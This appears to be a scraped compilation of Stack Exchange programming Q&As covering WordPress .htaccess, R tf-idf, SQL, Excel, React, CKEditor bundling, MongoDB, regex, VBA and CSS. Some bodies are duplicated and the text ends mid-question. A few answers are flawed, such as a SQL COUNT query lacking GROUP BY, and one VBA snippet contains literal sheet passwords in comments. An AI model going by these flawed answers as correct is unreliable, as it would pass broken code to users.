问:
Wordpress already Installed in root Directory and I have also installed wordpress in subdirectory, But the problem is subdirectory URL is not working
Wordpress already Installed in root Directory and I have also installed wordpress in subdirectory, But the problem is subdirectory URL is not working. It always give 404 error

Root

https://boochcraft.com/

Subdirectory URL

https://boochcraft.com/shop

Root Directory .htaccess

```<code># BEGIN WordPress
<IfModule mod_rewrite.c>
RewriteEngine On
RewriteBase /
RewriteRule ^index\.php$ - [L]
RewriteCond %{REQUEST_FILENAME} !-f
RewriteCond %{REQUEST_FILENAME} !-d
RewriteRule . /index.php [L]
</IfModule>
# END WordPress
</code>```

Sub-directory .htaccess

```<code># BEGIN WordPress
<IfModule mod_rewrite.c>
RewriteEngine On
RewriteBase /shop/
RewriteRule ^index\.php$ - [L]
RewriteCond %{REQUEST_FILENAME} !-f
RewriteCond %{REQUEST_FILENAME} !-d
RewriteRule ./shop/index.php [L]
</IfModule>
# END WordPress
</code>```

答:
Remove /shop from the last rule in .htaccess file in the sub-directory (RewriteBase stays as before).</p>

```<code># BEGIN WordPress
<IfModule mod_rewrite.c>
RewriteEngine On
RewriteBase /shop/
RewriteRule ^index\.php$ - [L]
RewriteCond %{REQUEST_FILENAME} !-f
RewriteCond %{REQUEST_FILENAME} !-d
RewriteRule . /index.php [L]
</IfModule>

# END WordPress
</code>```

Body:
Wordpress already Installed in root Directory and I have also installed wordpress in subdirectory, But the problem is subdirectory URL is not working. It always give 404 error

Root

https://boochcraft.com/

Subdirectory URL

https://boochcraft.com/shop

Root Directory .htaccess

# BEGIN WordPress
<IfModule mod_rewrite.c>
RewriteEngine On
RewriteBase /
RewriteRule ^index\.php$ - [L]
RewriteCond %{REQUEST_FILENAME} !-f
RewriteCond %{REQUEST_FILENAME} !-d
RewriteRule . /index.php [L]
</IfModule>
# END WordPress

Sub-directory .htaccess

# BEGIN WordPress
<IfModule mod_rewrite.c>
RewriteEngine On
RewriteBase /shop/
RewriteRule ^index\.php$ - [L]
RewriteCond %{REQUEST_FILENAME} !-f
RewriteCond %{REQUEST_FILENAME} !-d
RewriteRule ./shop/index.php [L]
</IfModule>
# END WordPress

Body:
Remove /shop from the last rule in .htaccess file in the sub-directory (RewriteBase stays as before).

# BEGIN WordPress
<IfModule mod_rewrite.c>
RewriteEngine On
RewriteBase /shop/
RewriteRule ^index\.php$ - [L]
RewriteCond %{REQUEST_FILENAME} !-f
RewriteCond %{REQUEST_FILENAME} !-d
RewriteRule . /index.php [L]
</IfModule>

# END WordPress


来源: stackexchange

问:
R: weighted inverse document frequency (tfidf) similarity between strings
I want to be able to find similarity between two strings, weighting each token (word) with its inverse document frequency (those frequencies are not taken from those strings).

Using quanteda I can create a dfm_tfidf with inverted frequency weights, but do not know how to proceed after that.

Sample data :

ss = c(
        "ibm madrid limited research",
        "madrid limited research",
        "limited research",
        "research"
    )
counts = list(ibm = 1, madrid = 2, limited = 3, research = 4)
cor = corpus(long_list_of_strings)  ## the documents where we take words from
df = dfm(cor, tolower = T, verbose = T)
dfi = dfm_tfidf(df)
```

<p>The goal is to find a function <code>similarity</code> that will make:</p>

<pre class="lang-r prettyprint-override"><code>res = similarity(dfi, "ibm limited", similarity_scheme = "simple matching")
</code>```

with res in the form (random numbers for the example):

```<code>"ibm madrid limited research"  0.445
"madrid limited research" 0.2
"limited research" 0.76
"research" 0.45
</code>```

Ideally would be to apply to those frequencies a function like :

```<code>sim = sum(Wc) / sqrt(sum(Wi)*sum(Wj))
</code>```

where:
Wc are the weights of words common to the two strings.

Wi and Wj are the weights of words in string1 and string2.

答:
Here's a tidy solution for your problem.

I use tidytext for the nlp stuff, and widyr to calculate cosine-similarity between the documents.

Note, I turned your original ss vector into a tidy dataframe with an ID column. You can make that column whatever, but it will be what we use at the end to show similarity.

```<code>library(tidytext)
library(widyr)

# turn your original vector into a tibble with an ID column
ss <- c(
  "ibm madrid limited research",
  "madrid limited research",
  "limited research",
  "research",
  "ee"
) %>% as.tibble() %>%
  rowid_to_column("ID")

# create df of words & counts (tf-idf needs this)
ss_words <- ss %>%
  unnest_tokens(words, value) %>%
  count(ID, words, sort = TRUE)

# create tf-idf embeddings for your data
ss_tfidf <- ss_words %>%
  bind_tf_idf(ID, words, n)

# return list of document similarity
ss_tfidf %>%
  pairwise_similarity(ID, words, tf_idf, sort = TRUE)
</code>```

The output for the above will be:

```<code>
## A tibble: 12 x 3
#   item1 item2 similarity
#   <int> <int>      <dbl>
# 1     3     2      0.640
# 2     2     3      0.640
# 3     4     3      0.6
# 4     3     4      0.6
# 5     2     1      0.545
# 6     1     2      0.545
# 7     4     2      0.384
# 8     2     4      0.384
# 9     3     1      0.349
#10     1     3      0.349
#11     4     1      0.210
#12     1     4      0.210
</code>```

where item1 and item2 refer to the ID column we created earlier.

There are some strange caveats with this answer. For example, notice I added the ee token to your ss vector: The pairwise_similarity failed when there was one document with a single token. Strange behavior, but hopefully that gets you started.

ContentLicense: CC BY-SA 4.0

Body:
I want to be able to find similarity between two strings, weighting each token (word) with its inverse document frequency (those frequencies are not taken from those strings).

Using quanteda I can create a dfm_tfidf with inverted frequency weights, but do not know how to proceed after that.

Sample data :

ss = c(
        "ibm madrid limited research",
        "madrid limited research",
        "limited research",
        "research"
    )
counts = list(ibm = 1, madrid = 2, limited = 3, research = 4)
cor = corpus(long_list_of_strings)  ## the documents where we take words from
df = dfm(cor, tolower = T, verbose = T)
dfi = dfm_tfidf(df)

The goal is to find a function similarity that will make:

res = similarity(dfi, "ibm limited", similarity_scheme = "simple matching")

with res in the form (random numbers for the example):

"ibm madrid limited research"  0.445
"madrid limited research" 0.2
"limited research" 0.76
"research" 0.45

Ideally would be to apply to those frequencies a function like :

sim = sum(Wc) / sqrt(sum(Wi)*sum(Wj))

where:
Wc are the weights of words common to the two strings.

Wi and Wj are the weights of words in string1 and string2.

Body:
Here's a tidy solution for your problem.

I use tidytext for the nlp stuff, and widyr to calculate cosine-similarity between the documents.

Note, I turned your original ss vector into a tidy dataframe with an ID column. You can make that column whatever, but it will be what we use at the end to show similarity.

library(tidytext)
library(widyr)

# turn your original vector into a tibble with an ID column
ss <- c(
  "ibm madrid limited research",
  "madrid limited research",
  "limited research",
  "research",
  "ee"
) %>% as.tibble() %>%
  rowid_to_column("ID")

# create df of words & counts (tf-idf needs this)
ss_words <- ss %>%
  unnest_tokens(words, value) %>%
  count(ID, words, sort = TRUE)

# create tf-idf embeddings for your data
ss_tfidf <- ss_words %>%
  bind_tf_idf(ID, words, n)

# return list of document similarity
ss_tfidf %>%
  pairwise_similarity(ID, words, tf_idf, sort = TRUE)

The output for the above will be:

## A tibble: 12 x 3
#   item1 item2 similarity
#   <int> <int>      <dbl>
# 1     3     2      0.640
# 2     2     3      0.640
# 3     4     3      0.6
# 4     3     4      0.6
# 5     2     1      0.545
# 6     1     2      0.545
# 7     4     2      0.384
# 8     2     4      0.384
# 9     3     1      0.349
#10     1     3      0.349
#11     4     1      0.210
#12     1     4      0.210

where item1 and item2 refer to the ID column we created earlier.

There are some strange caveats with this answer. For example, notice I added the ee token to your ss vector: The pairwise_similarity failed when there was one document with a single token. Strange behavior, but hopefully that gets you started.


问:
SQL Query :count the number of model available for each colour
count the number of model available for each colour</p>

答:
Use the COUNT function, for example:

```<code>  SELECT colour, COUNT(model)
    FROM articles
ORDER BY colour
</code>```

You can see the use of COUNT function here: https://www.w3schools.com/sql/sql_count_avg_sum.asp

Body:
Use the COUNT function, for example:

  SELECT colour, COUNT(model)
    FROM articles
ORDER BY colour

You can see the use of COUNT function here: https://www.w3schools.com/sql/sql_count_avg_sum.asp


问:
Does VLOOKUP compare cells
I am currently using the VLOOKUP function for excel and I was wondering does the VLOOKUP actually compare cells or does it just use the cell straight across from it?

This is my formula "=VLOOKUP(A2,Sheet3!A2:B1814,2,FALSE)"

As you can see the VLOOKUP function works find for the first product image but it doesnt for the rest of them( it will give #N/A for most of them because the cell in the pic in the right is empty which is ok), but if you look at the picture on the left, cell A4 is the same as cell A3 on the picture on the right and it is still given me #N/A(this is because they are not in the same cells)

So my question is, is there a way for excel to check the table 1(left pic) to see is there a matching name on table2(right pic) by searching the rows?

Thanks

答:
IMG 100243 and 7216 won't work because your formula changes in each row. A really easy way to fix this is to create a named range.

In the ribbon go to 'Formulas'

Then 'Name Manager'

Create a new named range and give it reference to Sheet3!A2:B1814

Modify your formula to VLOOKUP(A2, _NAMED_RANGE_ ,2,FALSE)

That should at least resolve that problem. Let me know if that doesn't work

ContentLicense: CC BY-SA 3.0

Title: Does VLOOKUP compare cells


问:
Passing state to parent component
I'm refactoring some code to make a more aesthetically pleasing render of a table. I will link a codesandbox that shows both the old and new implementations.

So if you select the two dropdowns at the top, in the old implementation section when you check one of the boxes next to the fieldName you will see 3 additional input boxes appear; lengthType, size, and maxArrayElements. The change handlers for these are in the main component index.js.

I have since made a separate component TableRowWithCheckbox that introduces some new functionality that uses a checkbox to keep track of what row is selected.

In the new implementation (the table) I have decided to render the 3 inputs mentioned above, inside the table. I'm having trouble keeping track of the inputs since they are now moved inside this new component.

Should I initialize state for lengthType, size, and maxArrayElements inside this new component then have the change handler inside the main component? Or initialize the state values AND have the change handles in the main component?

TableRowWithCheckbox component below.

```<code>import React, { Component } from "react";
import { Table, Checkbox, Dropdown, Input } from "semantic-ui-react";

const lengthTypeOptions = [
  { key: "fixed", text: "Fixed", value: "fixed" },
  { key: "variable", text: "Variable", value: "variable" }
];

export default class TableRowWithCheckbox extends Component {
  constructor(props) {
    super(props);
    const { initialState } = this.props;
    this.state = {
      fieldCheckbox: initialState
    };
  }

  checkbox = () => {
    this.setState({ fieldCheckbox: !this.state.fieldCheckbox }, () => {
      console.log("checkbox --> ", this.state.fieldCheckbox);
      const {
        name,
        dataType,
        isArray,
        position,
        box,
        lengthType,
        size,
        maxArrayElements
      } = this.props;
      box({
        name,
        dataType,
        isArray,
        position,
        isChecked: this.state.fieldCheckbox,
        lengthType,
        size,
        maxArrayElements
      });
    });
  };

  render() {
    const {
      name,
      dataType,
      isArray,
      position,
      lengthType,
      size,
      maxArrayElements
    } = this.props;
    const { fieldCheckbox } = this.state;
    return (
      <>
        <Table.Row>
          <Checkbox
            style={{ marginTop: "20px" }}
            checkbox
            onChange={this.checkbox}
          />
          <Table.Cell>{name}</Table.Cell>
          <Table.Cell>{dataType}</Table.Cell>
          <Table.Cell>{JSON.stringify(isArray)}</Table.Cell>
          <Table.Cell>{position}</Table.Cell>
          <Table.Cell>
            <Dropdown
              placeholder="Pick a length Type:"
              clearable
              selection
              search
              fluid
              noResultsMessage="Please search again"
              multiple={false}
              value={this.state.lengthType}
              options={lengthTypeOptions}
              header="CHOOSE A LENGTH TYPE"
              onChange={this.props.updateLengthType}
              required
            />
          </Table.Cell>
          <Table.Cell>
            <Input
              onChange={this.props.onSizeChange}
              type="number"
              name="size"
              min="1"
              placeholder="1"
              required
            />
          </Table.Cell>
          <Table.Cell>
            <Input
              onChange={this.props.onChangeMaxArrayElements}
              type="number"
              name="maxArrayElements"
              placeholder="1"
              min="1"
              max="100"
              required
            />
          </Table.Cell>
        </Table.Row>
      </>
    );
  }
}
</code>```

Codesandbox link here

答:
Pass a function as prop to your component, and give your input the same names as in the parent state.

```<code>onChange = (e) => {
  this.setState({
    [e.target.name]: e.target.value
  })
}
</code>```

Use the function in your inputs

```<code><input onChange={this.props.onChange} ... />
</code>```

Title: Passing state to parent component

Body:
I'm refactoring some code to make a more aesthetically pleasing render of a table. I will link a codesandbox that shows both the old and new implementations.

So if you select the two dropdowns at the top, in the old implementation section when you check one of the boxes next to the fieldName you will see 3 additional input boxes appear; lengthType, size, and maxArrayElements. The change handlers for these are in the main component index.js.

I have since made a separate component TableRowWithCheckbox that introduces some new functionality that uses a checkbox to keep track of what row is selected.

In the new implementation (the table) I have decided to render the 3 inputs mentioned above, inside the table. I'm having trouble keeping track of the inputs since they are now moved inside this new component.

Should I initialize state for lengthType, size, and maxArrayElements inside this new component then have the change handler inside the main component? Or initialize the state values AND have the change handles in the main component?

TableRowWithCheckbox component below.

import React, { Component } from "react";
import { Table, Checkbox, Dropdown, Input } from "semantic-ui-react";

const lengthTypeOptions = [
  { key: "fixed", text: "Fixed", value: "fixed" },
  { key: "variable", text: "Variable", value: "variable" }
];

export default class TableRowWithCheckbox extends Component {
  constructor(props) {
    super(props);
    const { initialState } = this.props;
    this.state = {
      fieldCheckbox: initialState
    };
  }

  checkbox = () => {
    this.setState({ fieldCheckbox: !this.state.fieldCheckbox }, () => {
      console.log("checkbox --> ", this.state.fieldCheckbox);
      const {
        name,
        dataType,
        isArray,
        position,
        box,
        lengthType,
        size,
        maxArrayElements
      } = this.props;
      box({
        name,
        dataType,
        isArray,
        position,
        isChecked: this.state.fieldCheckbox,
        lengthType,
        size,
        maxArrayElements
      });
    });
  };

  render() {
    const {
      name,
      dataType,
      isArray,
      position,
      lengthType,
      size,
      maxArrayElements
    } = this.props;
    const { fieldCheckbox } = this.state;
    return (
      <>

          <Checkbox
            style={{ marginTop: "20px" }}
            checkbox
            onChange={this.checkbox}
          />

{name}

{dataType}

{JSON.stringify(isArray)}

{position}

            <Dropdown
              placeholder="Pick a length Type:"
              clearable
              selection
              search
              fluid
              noResultsMessage="Please search again"
              multiple={false}
              value={this.state.lengthType}
              options={lengthTypeOptions}
              header="CHOOSE A LENGTH TYPE"
              onChange={this.props.updateLengthType}
              required
            />

            <Input
              onChange={this.props.onSizeChange}
              type="number"
              name="size"
              min="1"
              placeholder="1"
              required
            />

            <Input
              onChange={this.props.onChangeMaxArrayElements}
              type="number"
              name="maxArrayElements"
              placeholder="1"
              min="1"
              max="100"
              required
            />

      </>
    );
  }
}

Codesandbox link here

Body:
Pass a function as prop to your component, and give your input the same names as in the parent state.

onChange = (e) => {
  this.setState({
    [e.target.name]: e.target.value
  })
}

Use the function in your inputs

<input onChange={this.props.onChange} ... />


问:
NullReferenceException with Ckeditor 5 and ASP.NET MVC bundle error?
To isolate any problems so I can reproduce the issue, I started with a brand new project in VS 2017 with the ASP.NET MVC Template (.NET Framework 4.6.1).

I added the latest ckeditor5 to /Scripts/ckeditor5/ckeditor.js

In BundleConfig.cs, I added this:

```<code>bundles.Add(new ScriptBundle("~/bundles/ckeditor").Include(
"~/Scripts/ckeditor5/ckeditor.js"));
</code>```

In _layout.cshtml, I have this:

```<code>@Scripts.Render("~/bundles/ckeditor")
</code>```

When I run the application, it gives "System.NullReferenceException" error. It seems Microsoft Ajax parse doesn't like ckeditor5??

at
  Microsoft.Ajax.Utilities.JSParser.ParseObjectLiteralProperty(Boolean
  isBindingPattern)\r\n   at
  Microsoft.Ajax.Utilities.JSParser.ParseObjectLiteral(Boolean
  isBindingPattern)\r\n   at
  Microsoft.Ajax.Utilities.JSParser.ParseLeftHandSideExpression(Boolean
  isMinus)\r\n   at
  Microsoft.Ajax.Utilities.JSParser.ParseUnaryExpression(Boolean&
  isLeftHandSideExpr, Boolean isMinus)\r\n   at
  Microsoft.Ajax.Utilities.JSParser.ParseVarDecl(JSToken inToken)\r\n

  at Microsoft.Ajax.Utilities.JSParser.ParseVariableStatement()\r\n   at
  Microsoft.Ajax.Utilities.JSParser.ParseFunctionBody(Block body)\r\n

  at Microsoft.Ajax.Utilities.JSParser.ParseFunction(FunctionType
  functionType, Context fncCtx)\r\n   at
  Microsoft.Ajax.Utilities.JSParser.ParseLeftHandSideExpression(Boolean
  isMinus)\r\n   at
  Microsoft.Ajax.Utilities.JSParser.ParseUnaryExpression(Boolean&
  isLeftHandSideExpr, Boolean isMinus)\r\n   at
  Microsoft.Ajax.Utilities.JSParser.ParseArrayLiteral(Boolean
  isBindingPattern)\r\n   at

If I forget about Bundle and I hard code the path like this on _Layout.cshtml, it worked:

```<code><script src="~/Scripts/ckeditor5/ckeditor.js"></script>
</code>```

Any idea how to make bundle works for ckeditor5?

答:
This issue most probably has to do with the ScriptBundle trying to Minify a file which was already minified. Which in the case of the Ckeditor5 breaks.

The fix was to add .min to the file extension before the .js.

This fixed the issue for me.

Body:
To isolate any problems so I can reproduce the issue, I started with a brand new project in VS 2017 with the ASP.NET MVC Template (.NET Framework 4.6.1).

I added the latest ckeditor5 to /Scripts/ckeditor5/ckeditor.js

In BundleConfig.cs, I added this:

bundles.Add(new ScriptBundle("~/bundles/ckeditor").Include(
"~/Scripts/ckeditor5/ckeditor.js"));

In _layout.cshtml, I have this:

@Scripts.Render("~/bundles/ckeditor")

When I run the application, it gives "System.NullReferenceException" error. It seems Microsoft Ajax parse doesn't like ckeditor5??

at
  Microsoft.Ajax.Utilities.JSParser.ParseObjectLiteralProperty(Boolean
  isBindingPattern)\r\n   at
  Microsoft.Ajax.Utilities.JSParser.ParseObjectLiteral(Boolean
  isBindingPattern)\r\n   at
  Microsoft.Ajax.Utilities.JSParser.ParseLeftHandSideExpression(Boolean
  isMinus)\r\n   at
  Microsoft.Ajax.Utilities.JSParser.ParseUnaryExpression(Boolean&
  isLeftHandSideExpr, Boolean isMinus)\r\n   at
  Microsoft.Ajax.Utilities.JSParser.ParseVarDecl(JSToken inToken)\r\n

  at Microsoft.Ajax.Utilities.JSParser.ParseVariableStatement()\r\n   at
  Microsoft.Ajax.Utilities.JSParser.ParseFunctionBody(Block body)\r\n

  at Microsoft.Ajax.Utilities.JSParser.ParseFunction(FunctionType
  functionType, Context fncCtx)\r\n   at
  Microsoft.Ajax.Utilities.JSParser.ParseLeftHandSideExpression(Boolean
  isMinus)\r\n   at
  Microsoft.Ajax.Utilities.JSParser.ParseUnaryExpression(Boolean&
  isLeftHandSideExpr, Boolean isMinus)\r\n   at
  Microsoft.Ajax.Utilities.JSParser.ParseArrayLiteral(Boolean
  isBindingPattern)\r\n   at

If I forget about Bundle and I hard code the path like this on _Layout.cshtml, it worked:

Any idea how to make bundle works for ckeditor5?


问:
Immutable js : how to compare List with same contents and different ordered?
I am trying to compare different orderd List of Immutable js.
I thought "equals" would be work, but it is only true when is same order.

is there any way to compare for containing same content?

var list1 = Immutable.List.of({a:1},2,{b:3},4);
var list2 = Immutable.List.of(2,{a:1},4,{b:3});
console.log(list1.equals(list2)) //false
```

答:
There are two problems:

by definition, order is essential to lists

Two ordinary Javascript objects are never equal to each other, even if they have the same contents.

You could, however, do this:

```<code>const set1 = Immutable.Set.of(Immutable.Map({a:1}),2,Immutable.Map({b:3}),4);
const set2 = Immutable.Set.of(2,Immutable.Map({a:1}),4,Immutable.Map({b:3}));
console.log(set1.equals(set2)) //true
</code>```

Nota bene: using var with an immutable defeats the entire purpose! . Use const.

Body:
There are two problems:

by definition, order is essential to lists

Two ordinary Javascript objects are never equal to each other, even if they have the same contents.

You could, however, do this:

const set1 = Immutable.Set.of(Immutable.Map({a:1}),2,Immutable.Map({b:3}),4);
const set2 = Immutable.Set.of(2,Immutable.Map({a:1}),4,Immutable.Map({b:3}));
console.log(set1.equals(set2)) //true

Nota bene: using var with an immutable defeats the entire purpose! . Use const.


问:
How do I write all the records from a massive MongoDB collection into a csv file without taking up all RAM?
I have a collection in which I had uploaded the contents of a xml file that was 4GB. It had around 14000000 records.

I need to write those records to a csv file. I was using the following code snippet thinking it will work fine as objects are read/written as and when they are required. However that doesn't seem to be the case. After running the code my RAM gives up.
I am using mongoengine to use the underlying PyMongo library for DB operations.

```<code>import csv
from xml_to_db import Users #This is my collection definition in a separate file

extract_user_fields = ['Id', 'Reputation', 'UpVotes', 'DownVotes']
users_file = 'users.csv'

with open(users_file, 'a', newline='') as f:
    for user_docs in Users.objects:
        user_document_dict = dict()
        for key in extract_user_fields:
            user_document_dict[key] = user_docs[key]
        # for simplicity we will update the csv file as soon as we have a record
        # write this document to the csv file
        writer = csv.DictWriter(f, extract_user_fields)
        writer.writerow(user_document_dict)
</code>```

In the mongoengine docs it isn't mentioned anywhere that Querying the DB this way can lead to memory issues if the collection is huge.

Moreover I can't pinpoint what line is responsible for the memory explosion.

Any help will be much appreciated.

答:
Mongoengine caches all Documents fetched by a query set by default, use the following to disable that behaviour:
for user_docs in Users.objects.no_cache():

Body:
I have a collection in which I had uploaded the contents of a xml file that was 4GB. It had around 14000000 records.

I need to write those records to a csv file. I was using the following code snippet thinking it will work fine as objects are read/written as and when they are required. However that doesn't seem to be the case. After running the code my RAM gives up.
I am using mongoengine to use the underlying PyMongo library for DB operations.

import csv
from xml_to_db import Users #This is my collection definition in a separate file

extract_user_fields = ['Id', 'Reputation', 'UpVotes', 'DownVotes']
users_file = 'users.csv'

with open(users_file, 'a', newline='') as f:
    for user_docs in Users.objects:
        user_document_dict = dict()
        for key in extract_user_fields:
            user_document_dict[key] = user_docs[key]
        # for simplicity we will update the csv file as soon as we have a record
        # write this document to the csv file
        writer = csv.DictWriter(f, extract_user_fields)
        writer.writerow(user_document_dict)

In the mongoengine docs it isn't mentioned anywhere that Querying the DB this way can lead to memory issues if the collection is huge.

Moreover I can't pinpoint what line is responsible for the memory explosion.

Any help will be much appreciated.


问:
Field 'id' doesn't have a default value?
I am new to this SQL; I have seen similar question with much bigger programs, which I can't understand at the moment. I am making a database for games of cards to use in my homepage.

I am using MySQL Workbench on Windows. The error I get is:

Error Code: 1364. Field 'id' doesn't have a default value

```<code>CREATE TABLE card_games
(
nafnleiks varchar(50),
leiklysing varchar(3000),
prentadi varchar(1500),
notkunarheimildir varchar(1000),
upplysingar varchar(1000),
ymislegt varchar(500),
id int(11) PK
);

insert into card_games (nafnleiks, leiklysing, prentadi, notkunarheimildir, upplysingar, ymislegt)

values('Svartipétur',
'Leiklýsingu vantar',
'Er prentað í: Þórarinn Guðmundsson (2010). Spilabókin - Allir helstu spilaleikir og spil.',
'Heimildir um notkun: Árni Sigurðsson (1951). Hátíðir og skemmtanir fyrir hundrað árum',
'Aðrar upplýsingar',
'ekkert hér sem stendur'
);

values('Handkurra',
'Leiklýsingu vantar',
'Er prentað í: Þórarinn Guðmundsson (2010). Spilabókin - Allir helstu spilaleikir og spil.',
'Heimildir um notkun',
'Aðrar upplýsingar',
'ekkert her sem stendur'
);

values('Veiðimaður',
'Leiklýsingu vantar',
'Þórarinn Guðmundsson (2010). Spilabókin - Allir helstu spilaleikir og spil. Reykjavík: Bókafélagið. Bls. 19-20.',
'vantar',
'vantar',
'vantar'
);
</code>```

答: add a default value for your Id lets say in your table definition this will solve your problem.</p>

Body:
I am new to this SQL; I have seen similar question with much bigger programs, which I can't understand at the moment. I am making a database for games of cards to use in my homepage.

I am using MySQL Workbench on Windows. The error I get is:

Error Code: 1364. Field 'id' doesn't have a default value

CREATE TABLE card_games
(
nafnleiks varchar(50),
leiklysing varchar(3000),
prentadi varchar(1500),
notkunarheimildir varchar(1000),
upplysingar varchar(1000),
ymislegt varchar(500),
id int(11) PK
);

insert into card_games (nafnleiks, leiklysing, prentadi, notkunarheimildir, upplysingar, ymislegt)

values('Svartipétur',
'Leiklýsingu vantar',
'Er prentað í: Þórarinn Guðmundsson (2010). Spilabókin - Allir helstu spilaleikir og spil.',
'Heimildir um notkun: Árni Sigurðsson (1951). Hátíðir og skemmtanir fyrir hundrað árum',
'Aðrar upplýsingar',
'ekkert hér sem stendur'
);

values('Handkurra',
'Leiklýsingu vantar',
'Er prentað í: Þórarinn Guðmundsson (2010). Spilabókin - Allir helstu spilaleikir og spil.',
'Heimildir um notkun',
'Aðrar upplýsingar',
'ekkert her sem stendur'
);

values('Veiðimaður',
'Leiklýsingu vantar',
'Þórarinn Guðmundsson (2010). Spilabókin - Allir helstu spilaleikir og spil. Reykjavík: Bókafélagið. Bls. 19-20.',
'vantar',
'vantar',
'vantar'
);


问:
Pixel Launcher isn’t responding on emulator Android
I tried to compile the application but in the emulator I get the message  "pixel launcher isn t responding". I changed the performance in Software, but still it appears.plzzzz help, i ve tried 3 days to resolve this but with no results</p>

答:
1- Try wipe data, i have faced this problem before and this was the solution.

2- Check if there is any update from SDK Manager.

3- Deleting this emulated device and recreate a new one may help you.


问:
Javascript RegExp Matching weirdness
I have a RegExp:

/.?(NCAA|Division|I|Basketball|Champions,|1939-2011).?/gi

and some text "Champion"

somehow, this is coming back as a match, am I crazy?

```<code>0: "pio"
1: "i"
index: 4
input: "Champion"
length: 2
</code>```

the loop is here:

```<code>// contruct the pattern, dynamically
var someText = "Champion";
var phrase = ".?(NCAA|Division|I|Basketball|Champions,|1939-2011).?";
var pat = new RegExp(phrase, "gi"); // <- ends up being
var result;

while( result = pat.exec(someText) ) {
     // do stuff!
}
</code>```

There has to be something wrong with my RegExp, right?

EDIT:
The .? thing was just a quick and dirty attempt to say that I'd like to match one of those words AND/OR one of those words with a single char on either side. ex:

```<code>\sNCAA\s
NCAA
NCAA\s
\sNCAA
</code>```

GOAL:
I'm trying to do some simple hit highlighting based on some search words. I've got a function that gets all of the text nodes on a page, and I'd like to go through them all and highlight any matches to any of the terms in my phrase variable.

I think that I just need to rework how I am building my RegExp.

答:
Well, first of all you're specifying case-insensitivity, and secondly, you are matching the letter I as one of your matchable string.

Champion would match pio and i, because they both match /.?I.?/gi

It however doesn't match /.?Champions,.?/gi because of the trailing comma.

Title: Javascript RegExp Matching weirdness

Body:
I have a RegExp:

/.?(NCAA|Division|I|Basketball|Champions,|1939-2011).?/gi

and some text "Champion"

somehow, this is coming back as a match, am I crazy?

0: "pio"
1: "i"
index: 4
input: "Champion"
length: 2

the loop is here:

// contruct the pattern, dynamically
var someText = "Champion";
var phrase = ".?(NCAA|Division|I|Basketball|Champions,|1939-2011).?";
var pat = new RegExp(phrase, "gi"); // <- ends up being
var result;

while( result = pat.exec(someText) ) {
     // do stuff!
}

There has to be something wrong with my RegExp, right?

EDIT:
The .? thing was just a quick and dirty attempt to say that I'd like to match one of those words AND/OR one of those words with a single char on either side. ex:

\sNCAA\s
NCAA
NCAA\s
\sNCAA

GOAL:
I'm trying to do some simple hit highlighting based on some search words. I've got a function that gets all of the text nodes on a page, and I'd like to go through them all and highlight any matches to any of the terms in my phrase variable.

I think that I just need to rework how I am building my RegExp.


问:
How can I save ONLY when I add a new record
Save ONLY when adding new record

I have only tried to add
objExcel.ActiveWorkbook.Close False
It did not work.  I still get the Save message even if I am only querying the database

There are two parts of the script.  The first one just allows me to view the word associated with the code.  The second part allows me to create a new word and assigns the next code number (sequential).  There is not much code so I am showing both modules here.

Private Sub Worksheet_Change(ByVal Target As Range)
    ' ActiveSheet.Unprotect Password:="wood3481"
    ' Range("c3:g10000").Locked = True
    Dim PW As Range
    If Target.Address <> "$C$3" Then Exit Sub
    Application.EnableEvents = False
    Set PW = Sheet1.Columns(6).Find(Target)
    If Not PW Is Nothing Then
        [D3] = PW.Offset(, 1)
    Else
        MsgBox "Not Found"
    End If
    '  ActiveSheet.Protect Password:="wood3481"
    Range("C3").Select
    Application.EnableEvents = True
    ' All cells are Locked except for C3, D3 and  D4 which is  required  to change them with script
    ' Additionaly, the data storage range (g2:f10000) is Locked to allow the sript to run
End Sub

Private Sub CommandButton21_Click()
    '  This script records the new password
    Worksheets("sheet1").Activate
    Dim id
    Dim idnew
    Dim pswd
    '  Unprotect the spreadsheet to allow modification
    '        ActiveSheet.Unprotect Password:="vfgtrfd"
    pswd = Application.InputBox("Enter New Password")
    ' Find the end of the password codes column
    Range("f1").End(xlDown).Select
    ' Remember last code assigned
    id = ActiveCell.Value
    ' Move down 1 cell which is where new code will be stored
    ActiveCell.Offset(1, 0).Select
    ' Write new code to database
    ActiveCell.Value = id + 1
    idnew = ActiveCell.Value
    ActiveCell.Offset(0, 1).Select
    ActiveCell.Value = pswd
    MsgBox ("Here is your new password ID: " & idnew)
    Range("c4").Value = idnew
    '        Range("c4").Locked = True
    '  Protect the spreadsheet before returning teh unlocked cell
    '        ActiveSheet.Protect Password:="vfgrfdr"
    ' Move cursor back to Input cell
    Range("c3").Select

End Sub

答: I found an answer.  I went for SIMPLE. I added a ActiveWorkbook.Save command so now I SAVE no matter what I am doing.  It is easy, quick and simple.  Problem solved.</p>


问:
How do I select a class in a span with CSS?
I want to not display an icon for the mobile menu. But I'm not sure how to select this class. It's inside a menu.

```<code> <a class="funiter-menu-item-title" title="Nieuw">Nieuw<span class="icon fa fa-chevron-down"></span></a>
</code>```

I want to select this icon and not display it on the mobile version. Does anyone knows the solution?

```<code><span class="icon fa fa-chevron-down"></span>
</code>```

答:
If i understood correctly:

```<code>a.funiter-menu-item-title > span.icon.fa.fa-chevron-down {
    display: none;
}
</code>```

Or if you have access to the html code, add custom class to the element that you want to hide, as example below:

```<code><a class="funiter-menu-item-title" title="Nieuw">Nieuw<span class="elementToHide icon fa fa-chevron-down"></span></a>

a.funiter-menu-item-title > span.elementToHide {
    display: none;
}
</code>```

Body:
I want to not display an icon for the mobile menu. But I'm not sure how to select this class. It's inside a menu.

 Nieuw

I want to select this icon and not display it on the mobile version. Does anyone knows the solution?

Body:
If i understood correctly:

a.funiter-menu-item-title > span.icon.fa.fa-chevron-down {
    display: none;
}

Or if you have access to the html code, add custom class to the element that you want to hide, as example below:

<a class="funiter-menu-item-title" title="Nieuw">Nieuw<span class="elementToHide icon fa fa-chevron-down"></span></a>

a.funiter-menu-item-title > span.elementToHide {
    display: none;
}


问:
MySQL 8 InnoDB 32KB and 64KB page sizes benefits for HDD
MySQL page size documentation says:

For releases up to and including MySQL 5.5, the size of each InnoDB
  page is fixed at 16 kilobytes. This value represents a balance: large
  enough to hold the data for most rows, yet small enough to minimize
  the performance overhead of transferring unneeded data to memory.
  Other values are not tested or supported.

Starting in MySQL 5.6, the page size for an InnoDB instance can be
  either 4KB, 8KB, or 16KB, controlled by the innodb_page_size
  configuration option. As of MySQL 5.7.6, InnoDB also supports 32KB and
  64KB page sizes. For 32KB and 64KB page sizes, ROW_FORMAT=COMPRESSED
  is not supported and the maximum record size is 16KB.

and then

Smaller page sizes can help performance with storage devices that use
